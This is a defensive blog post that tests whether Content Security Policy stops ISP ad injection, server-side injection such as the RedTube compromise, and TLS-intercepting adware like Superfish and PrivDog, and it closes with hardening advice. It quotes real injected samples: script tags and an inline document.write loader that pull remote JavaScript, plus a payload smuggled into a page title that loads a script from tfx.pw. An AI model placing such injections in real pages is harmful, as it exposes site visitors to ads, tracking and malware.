Content Security Policy versus injection and man-in-the-middle attacks (MITM)

Can Content Security Policy prevent content injection and man-in-the-middle attacks? This is an expanded version of a discussion we had with @synackpse and @bryanbrake after my CSP podcast last month.

If the purpose of CSP is to declare a whitelist of content sources authorised to load on current website, can it prevent rogue content from being injected? We're talking about the following scenarios:

  1. Content injection into plaintext HTTP connections by the ISP or hotspot operator as Comcast, R66T and others did;
  2. Local operating system injection into plain-text and TLS connections by malware, spyware or adware, as Superfish did (powered by Komodia SDK using rogue certificate);
  3. Rogue content injection into websites as result of various attack on the web applications or their hosting infrastructure, as it happened to RedTube

There is no single answer here: in each of these cases CSP can or cannot prevent the injection, depending on how the policy is contructed and how the attack is executed in details. Let's see on how they actually did look like.

ISP ad injection into plaintext HTTP with external JavaScript file. This one will be almost always blocked by script-src unless the http://cfs.u-ad.info source is whitelisted (this sample comes from StackExchange).

<script type="text/javascript" src="hxxp://cfs.u-ad.info/cfspushadsv2/request?id=1&enc=telkom2&params=4TtHaUQnUEiP6K%2fc5C582NgXaqsgjSGNd2cIJOj4fGd5RLjWCROmlHIy48LIQTADgF3HH0Ey1rugHzqHqlMdHhjWGhSoLYV7pNQv4xROBLa3av9%2fC4NiY3j2JGTEsNtntuZbGJY6AcrFAxBU%2bl2v%2fP7UmpGL4oPTkrnZHz2siuHgJObfiz9o2uFZcO0r5u9yM9Hb9%2fxVMO5q2x880snCrSpl0W78pEGN9bkMf0L3sntEalc9JCGeOgb0Sq8Na%2bsPstohxMNLoxwUZzykryNagI6%2f97%2foigL7WlQibMgu7KLaJuvZRRYZAe56XBzGCV0Dd8hZMaqNSy%2bsf6U%2fGFtjczEXqcbHmTYb9CN%2fM%2bBp85oqvoYceLPyxOEvGtM%2f3cZitomHRmFvN5Iczk%2fAhExnvnRD1PulZ1mM7ESsBXyW3MVYIPD5IgxsP0pakjCfcJVA7PWyrNPt2MdgS%2bEeBDVs6vwiFe4pvuYzp%2f7xQfwQCEp%2fzYMYURDk147O8N8xLBb0GAw7j2%2bleN0JEJdAN8cPFMleFkkswZJQ9pozHFOUKaICQr3f27Qe4dh5ZOeWx%2fug&idc_r=89214501948&domain=sparklingchix.com&sw=1920&sh=1080"></script>

ISP ad injection into plaintext HTTP with inline JavaScript. The outer script will be not blocked by CSP if you enabled unsafe-inline, but then it will inject another <script> tag, this time attempting to load an external file — and this one will be blocked. But this case clearly shows the dangers of unsafe-inline: if the whole ad or malware JavaScript was injected inline, it would be happily allowed by the browser (this is the same sample from StackExchange, just rendered by the browser).

<script type="text/javascript">if(self==top){var idc_glo_url = (location.protocol=="https:" ? "https://" : "http://");var idc_glo_r = Math.floor(Math.random()*99999999999);document.write("<scr"+"ipt type=text/javascript src="+idc_glo_url+ "cfs.u-ad.info/cfspushadsv2/request");document.write("?id=1");document.write("&amp;enc=telkom2");document.write("&amp;params=" + "4TtHaUQnUEiP6K%2fc5C582NgXaqsgjSGNd2cIJOj4fGdzujsIEimxj4UPJYe9kNVgJGL7lyzhXKfrFGnoI%2b0vRYDgH9e8pX4n5Ajpp2c31FAwDlsLBVPPzlithe%2b39AiTY5lcCtK5vmMReu6wh%2bDE9aF7GU5vhghexF8DVA5RGi1nSH%2b4LUQNJ2rgvBZQRGaRUEas7vndUsAU7ZB2kVVd21uWsDGzo5RfMV2LGQF5uvtQQLl0Ism%2f7TwrUdQb5rPOdOsuSNgCzf7cTnxOizeAF5TqCrR5TPbRFuCEbu1j0vYkDTFuj9EdyZbRxAaO9KaZ1VpIEUKC3XEDAXKf0X3XDCyG3gvQoMWun2ueK8dLkFXlxSf9N4HI19gTZgGjR6Yc6QWGdE220AehWZepv%2bai9rUvHBo8xGo5pesp2qLykCKOPvJaq0IlaAunmzO0iLn9hkvy%2bl3BA8crhs3KdFymg9sCqjZ016F5XxGxpvEP64Se5R%2fSVPWjmyrXRo0Hj%2fR5W2wmR5oVAqGo6XAIYvQPj%2fay6rRypz%2fdDgohPBqd3g9wGYkzKmh9CjDSiozL4BrH2xmRhjAwbe9WTBc%2f45LdcqT4sjgnuTFy");document.write("&amp;idc_r="+idc_glo_r);document.write("&amp;domain="+document.domain);document.write("&amp;sw="+screen.width+"&amp;sh="+screen.height);document.write("></scr"+"ipt>");}</script>

Server side injection like on RedTube (but it was much broader, unsuccessful remains of the attack can be still found on pages like ohmyporn.net or yoxvideos.com). This is the same story as above: the injected inline JavaScript will be blocked unless unsafe-inline is enabled, external JavaScript will be in most cases blocked.

<head><meta charset="UTF-8" /><meta name="viewport" content="width=device-width" />
<title>"/><script src="//tfx.pw/a.js"></script><meta nm="Archives - Free Porn Videos - The Free Porn Tube Video Site - YOXVIDEOS.COM</title>

SuperFish local injection into SSL/TLS connection. This sample comes from PasteBin, not sure how much up to date it is, but if it's what SuperFish still does, then CSP will easily block it due to a non-whitelisted source:

<script src="http://www.superfish.com/ws/sf_main.jsp?dlsource=hhnkdzlc&amp;CTID=ssaddon" type="text/javascript"></script>
<iframe style="position: absolute; width: 1px; height: 1px; top: 0px; left: 0px; visibility: hidden;"></iframe>
<sfmsg data="{&quot;imageCount&quot;:0,&quot;ip&quot;:&quot;1.1.1.1&quot;}" id="sfMsgId"></sfmsg>

PrivDog local injection into SSL/TLS connection. This one, on the other hand, is pretty devastating. The target website CspBuilder.info uses TLS with Strict Transport Security, Public Key Pinns and CSP in enforcement mode, but this does not prevent the malware from injecting its content in any way (sample posted by LeeBrotherston:

<!DOCTYPE html>
<html lang="en" ng-app="cspbuilderApp" ng-csp>
<head><script src="//cspbuilder.info/priv.dog.preload/messageDispatcher.js"></script>
<script src="//cspbuilder.info/priv.dog.preload/retarget.js"></script>
<script src="//cspbuilder.info/priv.dog.preload/bundle.js"></script>

CSP is completely bypassed because the rogue content is injected in a way that makes is look like coming from the original website. None of these priv.dog.preload scripts are present of course on the actual website, here's the original source code for comparison:

<!DOCTYPE html>
<html lang="en" ng-app="cspbuilderApp" ng-csp>
<head>
 <meta charset="utf-8">

The malware is able to do it simply because controlling the whole HTTP connection between the browser and the server (and faking TLS certificate) it can not only inject content into responses, but also emulate the whole requests, such as those to fetch those non-existent priv.dog.preload files.

Theoretically, this one could be still blocked by CSP if the policy was explicitly listing all scripts allowed by their full URI — but this would be just a cat-and-mouse game: PrivDog could just inject into any JavaScript used by the legitimate website, or, last but not least, just delete the CSP header. If they control the whole TLS connection, there's nothing you can do about it.

Best practices

The following recommendations can be derived from the samples presented above:

  1. Do use Strict Transport Security, Public Key Pinns and CSP in enforcement mode. They did block most of the rogue script injections in the above real-life non-local scenarios. And, judging from large number of violation reports from SuperFish I see on CspBuilder, they will block the less clever local injections as well.
  2. Realy avoid unsafe-inline and unsafe-eval in CSP. Allowing inline scripts essentially opens door to even dumbest injections, especially if no TLS is used. If you need to allow inline scripts (which is often required) use sha256- or nonce- features of CSP to allow only trusted inline code blocks.
  3. Make your CSP as fine-grained as possible. So, an extreme case: instead of allowing all scripts from self, explicitly list URIs of those scripts that you do load and approve. While I realize this is not very practical is real life, just try to make the CSP whitelist not too broad.